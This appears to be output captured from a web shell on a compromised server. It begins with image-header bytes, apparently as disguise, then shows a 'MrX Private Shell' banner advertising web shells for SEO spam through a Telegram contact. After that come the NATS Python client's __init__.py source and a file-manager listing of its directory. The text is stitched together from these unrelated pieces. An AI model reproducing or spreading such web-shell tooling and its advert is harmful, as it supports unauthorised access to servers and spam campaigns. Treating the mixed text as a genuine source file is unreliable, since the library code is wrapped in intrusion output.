����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright 2016-2021 The NATS Authors
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from __future__ import annotations
from typing import List, Union
# Extend namespace to allow nats.server and other nats.* packages
__path__ = __import__("pkgutil").extend_path(__path__, __name__)
from .aio.client import Client as NATS
async def connect(servers: Union[str, List[str]] = ["nats://localhost:4222"], **options) -> NATS:
"""
:param servers: List of servers to connect.
:param options: NATS connect options.
::
import asyncio
import nats
async def main():
# Connect to NATS Server.
nc = await nats.connect('demo.nats.io')
await nc.publish('foo', b'Hello World!')
await nc.flush()
await nc.close()
if __name__ == '__main__':
asyncio.run(main())
"""
nc = NATS()
await nc.connect(servers, **options)
return nc
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| aio | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| micro | Folder | 0755 |
|
|
| protocol | Folder | 0755 |
|
|
| __init__.py | File | 1.41 KB | 0644 |
|
| errors.py | File | 4.23 KB | 0644 |
|
| nuid.py | File | 2.16 KB | 0644 |
|
| py.typed | File | 0 B | 0644 |
|